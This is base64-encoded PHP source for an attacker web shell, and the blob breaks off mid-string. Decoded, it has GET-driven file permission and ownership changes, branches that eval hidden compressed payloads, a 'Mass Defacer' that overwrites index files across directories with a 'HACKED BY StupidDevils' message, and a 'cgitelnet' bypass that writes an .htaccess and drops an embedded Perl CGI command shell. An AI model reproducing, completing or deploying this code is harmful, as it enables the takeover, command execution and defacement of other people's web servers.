48L2NlbnRlcj48YnI+PGJyPg0KDQo8P3BocA0KaWYoaXNzZXQoJF9HRVRbJ3RoZWZpbGUnXSkpew0KJGZpbGUgPSAkX0dFVFsndGhlZmlsZSddOw0KJG5ldyA9ICRfR0VUWyd0aGVmaWxldmFsJ107DQoJCWlmKCRfR0VUWydjb21tJ10gPT0gJ2NobW9kJykNCgkJew0KCQkJJGNoX29rID0gY2htb2QoJGZpbGUsJG5ldyk7DQoJCQllY2hvICJQZXJtaXNzaW9uIENoYW5nZWQuIjsNCgkJfQ0KCQllbHNlIGlmKCRfR0VUWydjb21tJ10gPT0gJ2Nob3duJykNCgkJew0KCQkJJGNoX29rID0gY2hvd24oJGZpbGUsJG5ldyk7DQoJCQllY2hvICJPd25lciBDaGFuZ2VkLiI7DQoJCX0NCgkJZWxzZSBpZigkX0dFVFsnY29tbSddID09ICdjaGdycCcpDQoJCXsNCgkJCSRjaF9vayA9IGNoZ3JwKCRmaWxlLCRuZXcpOw0KCQkJZWNobyAiR3JvdXAgQ2hhbmdlZC4iOw0KCQl9DQp9DQp9DQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vDQoNCmVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnanVtcGluZycpKXsgDQpAZXZhbChnemluZmxhdGUoYmFzZTY0X2RlY29kZSgkanVtcGVyKSkpOyAiPC9kaXY+IjsgfQ0KDQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vDQoNCmVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnY29uZmlnLXNjYW4nKSkgew0KQGV2YWwoYmFzZTY0X2RlY29kZSgkc2NhbmNvbmZpZykpOyAgfQ0KDQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vDQplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ3N0cmluZycpKXsNCiR0ZXh0ID0gJF9QT1NUWydjb2RlJ107DQo/Pg0KPGNlbnRlcj48Zm9ybSBtZXRob2Q9InBvc3QiPjxicj48YnI+PGJyPg0KPHRleHRhcmVhIGNsYXNzPSdpbnB1dHonIGNvbHM9ODAgcm93cz01IG5hbWU9ImNvZGUiPjwvdGV4dGFyZWE+PGJyPjxicj4NCjxzZWxlY3QgY2xhc3M9J2lucHV0eicgc2l6ZT0iMSIgbmFtZT0ib3BlIj4NCjxvcHRpb24gdmFsdWU9ImJhc2U2NCI+QmFzZTY0PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSJtZDUiPm1kNTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0id2hhc2giPkNyeXB0PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSJTSEExIj5TSEExPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSJ1cmxlbmNvZGUiPlVSTCBFbmNvZGluZzwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0ibWQ0Ij5tZDQ8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IlNIQTI1NiI+U0hBMjU2PC9vcHRpb24+DQo8L3NlbGVjdD4mbmJzcDs8aW5wdXQgY2xhc3M9J2lucHV0emJ1dCcgdHlwZT0nc3VibWl0JyB2YWx1ZT0nZW5jcnlwdCc+PC9mb3JtPg0KDQo8P3BocCAkb3AgPSAkX1BPU1RbIm9wZSJdOw0Kc3dpdGNoICgkb3ApIHtjYXNlICdiYXNlNjQnOiANCiRjb2RpPWJhc2U2NF9lbmNvZGUoJHRleHQpOw0KYnJlYWs7Y2FzZSAnbWQ1JyA6ICRjb2RpPW1kNSgkdGV4dCk7DQpicmVhaztjYXNlICd3aGFzaCcgOiAkY29kaT1jcnlwdCgkdGV4dCk7DQpicmVhaztjYXNlICdTSEExJyA6ICRjb2RpPXNoYTEoJHRleHQpOw0KYnJlYWs7Y2FzZSAndXJsZW5jb2RlJyA6ICRjb2RpPXVybGVuY29kZSgkdGV4dCk7DQpicmVhaztjYXNlICdtZDQnIDogJGNvZGk9aGFzaCgibWQ0IiwkdGV4dCk7DQpicmVhaztjYXNlICdTSEEyNTYnIDogJGNvZGk9aGFzaCgic2hhMjU2IiwkdGV4dCk7DQpicmVhaztkZWZhdWx0OmJyZWFrO31lY2hvICc8dGV4dGFyZWEgY29scz04MCByb3dzPTEwIGNsYXNzPSJpbnB1dHoiIHJlYWRvbmx5PicuJGNvZGkuJzwvdGV4dGFyZWE+PC9jZW50ZXI+JzsNCn0NCg0KLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vDQoNCmVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnbWFzcycpKQ0Kew0KZWNobyAiPGNlbnRlci8+PGJyLz48Yj48Zm9udCBjb2xvcj0jMDBmZjAwPi09WyBNYXNzIERlZmFjZSBdPS08L2ZvbnQ+PC9iPjxicj4iOw0KZXJyb3JfcmVwb3J0aW5nKDApOz8+DQo8Zm9ybSBFTkNUWVBFPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBhY3Rpb249Ijw/cGhwICRfU0VSVkVSWydQSFBfU0VMRiddPz4iIG1ldGhvZD0ncG9zdCc+DQo8dGQ+PHRhYmxlPjx0YWJsZSBjbGFzcz0idGFibmV0IiA+DQo8Zm9ybSBoZXRob3Q9J3Bvc3QnPg0KPHRyPg0KCTx0cj4NCgk8dGQ+Jm5ic3A7Jm5ic3A7Rm9sZGVyPC90ZD48dGQ+PGlucHV0IGNsYXNzID0naW5wdXR6JyB0eXBlPSd0ZXh0JyBuYW1lPSdwYXRoJyBzaXplPSc2MCcgdmFsdWU9Ijw/cGhwIGVjaG8gZ2V0Y3dkKCk7Pz4iPjwvdGQ+DQoJPC90cj48YnI+DQoJPHRyPg0KCTx0ZD5maWxlIG5hbWU8L3RkPjx0ZD48aW5wdXQgY2xhc3MgPSdpbnB1dHonIHR5cGU9J3RleHQnIG5hbWU9J2ZpbGUnIHNpemU9JzYwJyB2YWx1ZT0iaW5kZXgucGhwIj48L3RkPg0KCTwvdHI+DQo8L3RyPg0KPHRoIGNvbHNwYW49JzInPjxiPkluZGV4IGNvZGU8L2I+PC90aD48YnI+PC90YWJsZT4NCjx0ZXh0YXJlYSBzdHlsZT0nYmFja2dyb3VuZDpibGFjaztvdXRsaW5lOm5vbmU7JyBuYW1lPSdpbmRleCcgcm93cz0nMTAnIGNvbHM9JzY3Jz5IQUNLRUQgQlkgU3R1cGlkRGV2aWxzLFBBVENIIFlPVVIgU0VDVVJJVFkgU1lTVEVNPC90ZXh0YXJlYT48YnI+DQo8Y2VudGVyPjxpbnB1dCBjbGFzcz0naW5wdXR6YnV0JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSImbmJzcDsmbmJzcDtEZWZhY2UmbmJzcDsmbmJzcDsiPjwvY2VudGVyPjwvZm9ybT48L3RhYmxlPjxicj48L2Zvcm0+DQoNCjw/cGhwICRtYWlucGF0aD0kX1BPU1RbcGF0aF07JGZpbGU9JF9QT1NUW2ZpbGVdOyRkaXI9b3BlbmRpcigiJG1haW5wYXRoIik7JGNvZGU9YmFzZTY0X2VuY29kZSgkX1BPU1RbaW5kZXhdKTskaW5keD1iYXNlNjRfZGVjb2RlKCRjb2RlKTt3aGlsZSgkcm93PXJlYWRkaXIoJGRpcikpeyRzdGFydD1AZm9wZW4oIiRyb3cvJGZpbGUiLCJ3KyIpOyRmaW5pc2g9QGZ3cml0ZSgkc3RhcnQsJGluZHgpO2lmICgkZmluaXNoKXtlY2hvICIkcm93LyRmaWxlID4gRG9uZTxicj48YnI+Ijt9fX0NCg0KLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KDQplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ2NnaScpKSB7IA0KZWNobyAiPGNlbnRlci8+PGJyLz48Yj48Zm9udCBjb2xvcj1ibHVlPistLT09WyBjZ2l0ZWxuZXQudjEgIEJ5cGFzcyBFeHBsb2l0XT09LS0rIDwvZm9udD48L2I+PGJyPjxicj4iOw0KIG1rZGlyKCdjZ2l0ZWxuZXQxJywgMDc1NSk7DQogICAgY2hkaXIoJ2NnaXRlbG5ldDEnKTsgICAgICANCiAgICAgICAgJGtva2Rvc3lhID0gIi5odGFjY2VzcyI7DQogICAgICAgICRkb3N5YV9hZGkgPSAiJGtva2Rvc3lhIjsNCiAgICAgICAgJGRvc3lhID0gZm9wZW4gKCRkb3N5YV9hZGkgLCAndycpIG9yIGRpZSAoIkRvc3lhIGEmIzIzMTsmIzMwNTtsYW1hZCYjMzA1OyEiKTsNCiAgICAgICAgJG1ldGluID0gIk9wdGlvbnMgRm9sbG93U3ltTGlua3MgTXVsdGlWaWV3cyBJbmRleGVzIEV4ZWNDR0kNCg0KQWRkVHlwZSBhcHBsaWNhdGlvbi94LWh0dHBkLWNnaSAuY2luDQoNCkFkZEhhbmRsZXIgY2dpLXNjcmlwdCAuY2luDQpBZGRIYW5kbGVyIGNnaS1zY3JpcHQgLmNpbiI7ICAgIA0KICAgICAgICBmd3JpdGUgKCAkZG9zeWEgLCAkbWV0aW4gKSA7DQogICAgICAgIGZjbG9zZSAoJGRvc3lhKTsNCiRjZ2lzaGVsbGl6b2NpbiA9ICdJeUV2ZFhOeUwySnBiaTl3WlhKc0NpTXRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwS0l5QkRiM0I1Y21sbmFIUWdZVzVrSUV4cFkyVnVZMlVLSXkwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUW9qSUVOSFNTMVVaV3h1WlhRZ1ZtVnljMmx2YmlBeExqQWdabTl5SUU1VUlHRnVaQ0JWYm1sNElEb2dVblZ1SUVOdmJXMWhibVJ6SUc5dUlIbHZkWElnVjJWaUlGTmxjblpsY2dvakNpTWdRMjl3ZVhKcFoyaDBJQ2hES1NBeU1EQXhJRkp2YUdsMFlXSWdRbUYwY21FS0l5QlFaWEp0YVhOemFXOXVJR2x6SUdkeVlXNTBaV1FnZEc4Z2RYTmxMQ0JrYVhOMGNtbGlkWFJsSUdGdVpDQnRiMlJwWm5rZ2RHaHBjeUJ6WTNKcGNIUWdjMjhnYkc5dVp3b2pJR0Z6SUhSb2FYTWdZMjl3ZVhKcFoyaDBJRzV2ZEdsalpTQnBjeUJzWldaMElHbHVkR0ZqZEM0Z1NXWWdlVzkxSUcxaGEyVWdZMmhoYm1kbGN5QjBieUIwYUdVZ2MyTnlhWEIwQ2lNZ2NHeGxZWE5sSUdSdlkzVnRaVzUwSUhSb1pXMGdZVzVrSUdsdVptOXliU0J0WlM0Z1NXWWdlVzkxSUhkdmRXeGtJR3hwYTJVZ1lXNTVJR05vWVc1blpYTWdkRzhnWW1VZ2JXRmtaUW9qSUdsdUlIUm9hWE1nYzJOeWFYQjBMQ0I1YjNVZ1kyRnVJR1V0YldGcGJDQnRaUzRLSXdvaklFRjFkR2h2Y2pvZ1VtOW9hWFJoWWlCQ1lYUnlZUW9qSUVGMWRHaHZjaUJsTFcxaGFXdzZJSEp2YUdsMFlXSkFjbTlvYVhSaFlpNWpiMjBLSXlCQmRYUm9iM0lnU0c5dFpYQmhaMlU2SUdoMGRIQTZMeTkzZDNjdWNtOW9hWFJoWWk1amIyMHZDaU1nVTJOeWFYQjBJRWh2YldWd1lXZGxPaUJvZEhSd09pOHZkM2QzTG5KdmFHbDBZV0l1WTI5dEwyTm5hWE5qY21sd2RITXZZMmRwZEdWc2JtVjBMbWgwYld3S0l5QlFjbTlrZFdOMElGTjFjSEJ2Y25RNklHaDBkSEE2THk5M2QzY3VjbTlvYVhSaFlpNWpiMjB2YzNWd2NHOXlkQzhLSXlCRWFYTmpkWE56YVc5dUlFWnZjblZ0T2lCb2RIUndPaTh2ZDNkM0xuSnZhR2wwWVdJdVkyOXRMMlJwYzJOMWMzTXZDaU1nVFdGcGJHbHVaeUJNYVhOME9pQm9kSFJ3T2k4dmQzZDNMbkp2YUdsMFlXSXVZMjl0TDIxc2FYTjBMd29qTFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRDZ29qTFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRDaU1nU1c1emRHRnNiR0YwYVc5dUNpTXRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwS0l5QlVieUJwYm5OMFlXeHNJSFJvYVhNZ2MyTnlhWEIwQ2lNS0l5QXhMaUJOYjJScFpua2dkR2hsSUdacGNuTjBJR3hwYm1VZ0lpTWhMM1Z6Y2k5aWFXNHZjR1Z5YkNJZ2RHOGdjRzlwYm5RZ2RHOGdkR2hsSUdOdmNuSmxZM1FnY0dGMGFDQnZiZ29qSUNBZ0lIbHZkWElnYzJWeWRtVnlMaUJHYjNJZ2JXOXpkQ0J6WlhKMlpYSnpMQ0I1YjNVZ2JXRjVJRzV2ZENCdVpXVmtJSFJ2SUcxdlpHbG1lU0IwYUdsekxnb2pJREl1SUVOb1lXNW5aU0IwYUdVZ2NHRnpjM2R2Y21RZ2FXNGdkR2hsSUVOdmJtWnBaM1Z5WVhScGIyNGdjMlZqZEdsdmJpQmlaV3h2ZHk0S0l5QXpMaUJKWmlCNWIzVW5jbVVnY25WdWJtbHVaeUIwYUdVZ2MyTnlhWEIwSUhWdVpHVnlJRmRwYm1SdmQzTWdUbFFzSUhObGRDQWtWMmx1VGxRZ1BTQXhJR2x1SUhSb1pRb2pJQ0FnSUVOdmJtWnBaM1Z5WVhScGIyNGdVMlZqZEdsdmJpQmlaV3h2ZHk0S0l5QTBMaUJWY0d4dllXUWdkR2hsSUhOamNtbHdkQ0IwYnlCaElHUnBjbVZqZEc5eWVTQnZiaUI1YjNWeUlITmxjblpsY2lCM2FHbGphQ0JvWVhNZ2NHVnliV2x6YzJsdmJuTWdkRzhLSXlBZ0lDQmxlR1ZqZFhSbElFTkhTU0J6WTNKcGNIUnpMaUJVYUdseklHbHpJSFZ6ZFdGc2JIa2dZMmRwTFdKcGJpNGdUV0ZyWlNCemRYSmxJSFJvWVhRZ2VXOTFJSFZ3Ykc5aFpBb2pJQ0FnSUhSb1pTQnpZM0pwY0hRZ2FXNGdRVk5EU1VrZ2JXOWtaUzRLSXlBMUxpQkRhR0Z1WjJVZ2RHaGxJSEJsY20xcGMzTnBiMjRnS0VOSVRVOUVLU0J2WmlCMGFHVWdjMk55YVhCMElIUnZJRGMxTlM0S0l5QTJMaUJQY0dWdUlIUm9aU0J6WTNKcGNIUWdhVzRnZVc5MWNpQjNaV0lnWW5KdmQzTmxjaTRnU1dZZ2VXOTFJSFZ3Ykc5aFpHVmtJSFJvWlNCelkzSnBjSFFnYVc0S0l5QWdJQ0JqWjJrdFltbHVMQ0IwYUdseklITm9iM1ZzWkNCaVpTQm9kSFJ3T2k4dmQzZDNMbmx2ZFhKelpYSjJaWEl1WTI5dEwyTm5hUzFpYVc0dlkyZHBkR1ZzYm1WMExuQnNDaU1nTnk0Z1RHOW5hVzRnZFhOcGJtY2dkR2hsSUhCaGMzTjNiM0prSUhSb1lYUWdlVzkxSUhOd1pXTnBabWxsWkNCcGJpQlRkR1Z3SURJdUNpTXRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwS0NpTXRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwS0l5QkRiMjVtYVdkMWNtRjBhVzl1T2lCWmIzVWdibVZsWkNCMGJ5QmphR0Z1WjJVZ2IyNXNlU0FrVUdGemMzZHZjbVFnWVc1a0lDUlhhVzVPVkM0Z1ZHaGxJRzkwYUdWeUNpTWdkbUZzZFdWeklITm9iM1ZzWkNCM2IzSnJJR1pwYm1VZ1ptOXlJRzF2YzNRZ2MzbHpkR1Z0Y3k0S0l5MHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFFva1VHRnpjM2R2Y21RZ1BTQWlNVEl6TkRVMklqc0pDU01nUTJoaGJtZGxJSFJvYVhNdUlGbHZkU0IzYVd4c0lHNWxaV1FnZEc4Z1pXNTBaWElnZEdocGN3b0pDUWtKSXlCMGJ5QnNiMmRwYmk0S0NpUlhhVzVPVkNBOUlEQTdDUWtKSXlCWmIzVWdibVZsWkNCMGJ5QmphR0Z1WjJVZ2RHaGxJSFpoYkhWbElHOW1JSFJvYVhNZ2RHOGdNU0JwWmdvSkNRa0pJeUI1YjNVbmNtVWdjblZ1Ym1sdVp5QjBhR2x6SUhOamNtbHdkQ0J2YmlCaElGZHBibVJ2ZDNNZ1RsUUtDUWtKQ1NNZ2JXRmphR2x1WlM0Z1NXWWdlVzkxSjNKbElISjFibTVwYm1jZ2FYUWdiMjRnVlc1cGVDd2dlVzkxQ2drSkNRa2pJR05oYmlCc1pXRjJaU0IwYUdVZ2RtRnNkV1VnWVhNZ2FYUWdhWE11Q2dva1RsUkRiV1JUWlhBZ1BTQWlKaUk3Q1FraklGUm9hWE1nWTJoaGNtRmpkR1Z5SUdseklIVnpaV1FnZEc4Z2MyVndaWEpoZEdVZ01pQmpiMjF0WVc1a2N3b0pDUWtKSXlCcGJpQmhJR052YlcxaGJtUWdiR2x1WlNCdmJpQlhhVzVrYjNkeklFNVVMZ29LSkZWdWFYaERiV1JUWlhBZ1BTQWlPeUk3Q1FraklGUm9hWE1nWTJoaGNtRmpkR1Z5SUdseklIVnpaV1FnZEc4Z2MyVndaWEpoZEdVZ01pQmpiMjF0WVc1a2N3b0pDUWtKSXlCcGJpQmhJR052YlcxaGJtUWdiR2x1WlNCdmJpQlZibWw0TGdvS0pFTnZiVzFoYm1SVWFXMWxiM1YwUkhWeVlYUnBiMjRnUFNBeE1Ec0pJeUJVYVcxbElHbHVJSE5sWTI5dVpITWdZV1owWlhJZ1kyOXRiV0Z1WkhNZ2QybHNiQ0JpWlNCcmFXeHNaV1FLQ1FrSkNTTWdSRzl1SjNRZ2MyVjBJSFJvYVhNZ2RHOGdZU0IyWlhKNUlHeGhjbWRsSUhaaGJIVmxMaUJVYUdseklHbHpDZ2tKQ1FraklIVnpaV1oxYkNCbWIzSWdZMjl0YldGdVpITWdkR2hoZENCdFlYa2dhR0Z1WnlCdmNpQjBhR0YwQ2drSkNRa2pJSFJoYTJVZ2RtVnllU0JzYjI1bklIUnZJR1Y0WldOMWRHVXNJR3hwYTJVZ0ltWnBibVFnTHlJdUNna0pDUWtqSUZSb2FYTWdhWE1nZG1Gc2FXUWdiMjVzZVNCdmJpQlZibWw0SUhObGNuWmxjbk11SUVsMElHbHpDZ2tKQ1FraklHbG5ibTl5WldRZ2IyNGdUbFFnVTJWeWRtVnljeTRLQ2lSVGFHOTNSSGx1WVcxcFkwOTFkSEIxZENBOUlERTdDUWtqSUVsbUlIUm9hWE1nYVhNZ01Td2dkR2hsYmlCa1lYUmhJR2x6SUhObGJuUWdkRzhnZEdobENna0pDUWtqSUdKeWIzZHpaWElnWVhNZ2MyOXZiaUJoY3lCcGRDQnBjeUJ2ZFhSd2RYUXNJRzkwYUdWeWQybHpaUW9KQ1FrSkl5QnBkQ0JwY3lCaWRXWm1aWEpsWkNCaGJtUWdjMlZ1WkNCM2FHVnVJSFJvWlNCamIyMXRZVzVrQ2drSkNRa2pJR052YlhCc1pYUmxjeTRnVkdocGN5QnBjeUIxYzJWbWRXd2dabTl5SUdOdmJXMWhibVJ6SUd4cGEyVUtDUWtKQ1NNZ2NHbHVaeXdnYzI4Z2RHaGhkQ0I1YjNVZ1kyRnVJSE5sWlNCMGFHVWdiM1YwY0hWMElHRnpJR2wwQ2drSkNRa2pJR2x6SUdKbGFXNW5JR2RsYm1WeVlYUmxaQzRLQ2lNZ1JFOU9KMVFnUTBoQlRrZEZJRUZPV1ZSSVNVNUhJRUpGVEU5WElGUklTVk1nVEVsT1JTQlZUa3hGVTFNZ1dVOVZJRXRPVDFjZ1YwaEJWQ0JaVDFVblVrVWdSRTlKVGtjZ0lTRUtDaVJEYldSVFpYQWdQU0FvSkZkcGJrNVVJRDhnSkU1VVEyMWtVMlZ3SURvZ0pGVnVhWGhEYldSVFpYQXBPd29rUTIxa1VIZGtJRDBnS0NSWGFXNU9WQ0EvSUNKalpDSWdPaUFpY0hka0lpazdDaVJRWVhSb1UyVndJRDBnS0NSWGFXNU9WQ0EvSUNKY1hDSWdPaUFpTHlJcE93b2tVbVZrYVhKbFkzUnZjaUE5SUNna1YybHVUbFFnUHlBaUlESStKakVnTVQ0bU1pSWdPaUFpSURFK0pqRWdNajRtTVNJcE93b0tJeTB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExRb2pJRkpsWVdSeklIUm9aU0JwYm5CMWRDQnpaVzUwSUdKNUlIUm9aU0JpY205M2MyVnlJR0Z1WkNCd1lYSnpaWE1nZEdobElHbHVjSFYwSUhaaGNtbGhZbXhsY3k0Z1NYUUtJeUJ3WVhKelpYTWdSMFZVTENCUVQxTlVJR0Z1WkNCdGRXeDBhWEJoY25RdlptOXliUzFrWVhSaElIUm9ZWFFnYVhNZ2RYTmxaQ0JtYjNJZ2RYQnNiMkZrYVc1bklHWnBiR1Z6TGdvaklGUm9aU0JtYVd4bGJtRnRaU0JwY3lCemRHOXlaV1FnYVc0Z0pHbHVleWRtSjMwZ1lXNWtJSFJvWlNCa1lYUmhJR2x6SUhOMGIzSmxaQ0JwYmlBa2FXNTdKMlpwYkdWa1lYUmhKMzB1Q2lNZ1QzUm9aWElnZG1GeWFXRmliR1Z6SUdOaGJpQmlaU0JoWTJObGMzTmxaQ0IxYzJsdVp5QWthVzU3SjNaaGNpZDlMQ0IzYUdWeVpTQjJZWElnYVhNZ2RHaGxJRzVoYldVZ2IyWUtJeUIwYUdVZ2RtRnlhV0ZpYkdVdUlFNXZkR1U2SUUxdmMzUWdiMllnZEdobElHTnZaR1VnYVc0Z2RHaHBjeUJtZFc1amRHbHZiaUJwY3lCMFlXdGxiaUJtY205dElHOTBhR1Z5SUVOSFNRb2pJSE5qY21sd2RITXVDaU10TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMEtjM1ZpSUZKbFlXUlFZWEp6WlNBS2V3b0piRzlqWVd3Z0tDcHBiaWtnUFNCQVh5QnBaaUJBWHpzS0NXeHZZMkZzSUNna2FTd2dKR3h2WXl3Z0pHdGxlU3dnSkhaaGJDazdDZ2tLQ1NSTmRXeDBhWEJoY25SR2IzSnRSR0YwWVNBOUlDUkZUbFo3SjBOUFRsUkZUbFJmVkZsUVJTZDlJRDErSUM5dGRXeDBhWEJoY25SY0wyWnZjbTB0WkdGMFlUc2dZbTkxYm1SaGNuazlLQzRyS1NRdk93b0tDV2xtS0NSRlRsWjdKMUpGVVZWRlUxUmZUVVZVU0U5RUozMGdaWEVnSWtkRlZDSXBDZ2w3Q2drSkpHbHVJRDBnSkVWT1Zuc25VVlZGVWxsZlUxUlNTVTVISjMwN0NnbDlDZ2xsYkhOcFppZ2tSVTVXZXlkU1JWRlZSVk5VWDAxRlZFaFBSQ2Q5SUdWeElDSlFUMU5VSWlrS0NYc0tDUWxpYVc1dGIyUmxLRk5VUkVsT0tTQnBaaUFrVFhWc2RHbHdZWEowUm05eWJVUmhkR0VnSmlBa1YybHVUbFE3Q2drSmNtVmhaQ2hUVkVSSlRpd2dKR2x1TENBa1JVNVdleWREVDA1VVJVNVVYMHhGVGtkVVNDZDlLVHNLQ1gwS0Nna2pJR2hoYm1Sc1pTQm1hV3hsSUhWd2JHOWhaQ0JrWVhSaENnbHBaaWdrUlU1V2V5ZERUMDVVUlU1VVgxUlpVRVVuZlNBOWZpQXZiWFZzZEdsd1lYSjBYQzltYjNKdExXUmhkR0U3SUdKdmRXNWtZWEo1UFNndUt5a2tMeWtLQ1hzS0NRa2tRbTkxYm1SaGNua2dQU0FuTFMwbkxpUXhPeUFqSUhCc1pXRnpaU0J5WldabGNpQjBieUJTUmtNeE9EWTNJQW9KQ1VCc2FYTjBJRDBnYzNCc2FYUW9MeVJDYjNWdVpHRnllUzhzSUNScGJpazdJQW9KQ1NSSVpXRmtaWEpDYjJSNUlEMGdKR3hwYzNSYk1WMDdDZ2tKSkVobFlXUmxja0p2WkhrZ1BYNGdMMXh5WEc1Y2NseHVmRnh1WEc0dk93b0pDU1JJWldGa1pYSWdQU0FrWURzS0NRa2tRbTlrZVNBOUlDUW5Pd29nQ1Fra1FtOWtlU0E5ZmlCekwxeHlYRzRrTHk4N0lDTWdkR2hsSUd4aGMzUWdYSEpjYmlCM1lYTWdjSFYwSUdsdUlHSjVJRTVsZEhOallYQmxDZ2tKSkdsdWV5ZG1hV3hsWkdGMFlTZDlJRDBnSkVKdlpIazdDZ2tKSkVobFlXUmxjaUE5ZmlBdlptbHNaVzVoYldVOVhDSW9MaXNwWENJdk95QUtDUWtrYVc1N0oyWW5mU0E5SUNReE95QUtDUWtrYVc1N0oyWW5mU0E5ZmlCekwxd2lMeTluT3dvSkNTUnBibnNuWmlkOUlEMStJSE12WEhNdkwyYzdDZ29KQ1NNZ2NHRnljMlVnZEhKaGFXeGxjZ29KQ1dadmNpZ2thVDB5T3lBa2JHbHpkRnNrYVYwN0lDUnBLeXNwQ2drSmV5QUtDUWtKSkd4cGMzUmJKR2xkSUQxK0lITXZYaTRyYm1GdFpUMGtMeTg3Q2drSkNTUnNhWE4wV3lScFhTQTlmaUF2WENJb1hIY3JLVndpTHpzS0NRa0pKR3RsZVNBOUlDUXhPd29KQ1Fra2RtRnNJRDBnSkNjN0Nna0pDU1IyWVd3Z1BYNGdjeThvWGloY2NseHVYSEpjYm54Y2JseHVLU2w4S0Z4eVhHNGtmRnh1SkNrdkwyYzdDZ2tKQ1NSMllXd2dQWDRnY3k4bEtDNHVLUzl3WVdOcktDSmpJaXdnYUdWNEtDUXhLU2t2WjJVN0Nna0pDU1JwYm5za2EyVjVmU0E5SUNSMllXdzdJQW9KQ1gwS0NYMEtDV1ZzYzJVZ0l5QnpkR0Z1WkdGeVpDQndiM04wSUdSaGRHRWdLSFZ5YkNCbGJtTnZaR1ZrTENCdWIzUWdiWFZzZEdsd1lYSjBLUW9KZXdvSkNVQnBiaUE5SUhOd2JHbDBLQzhtTHl3Z0pHbHVLVHNLQ1FsbWIzSmxZV05vSUNScElDZ3dJQzR1SUNRamFXNHBDZ2tKZXdvSkNRa2thVzViSkdsZElEMStJSE12WENzdklDOW5Pd29KQ1Frb0pHdGxlU3dnSkhaaGJDa2dQU0J6Y0d4cGRDZ3ZQUzhzSUNScGJsc2thVjBzSURJcE93b0pDUWtrYTJWNUlEMStJSE12SlNndUxpa3ZjR0ZqYXlnaVl5SXNJR2hsZUNna01Ta3BMMmRsT3dvSkNRa2tkbUZzSUQxK0lITXZKU2d1TGlrdmNHRmpheWdpWXlJc0lHaGxlQ2drTVNrcEwyZGxPd29KQ1Fra2FXNTdKR3RsZVgwZ0xqMGdJbHd3SWlCcFppQW9aR1ZtYVc1bFpDZ2thVzU3Skd0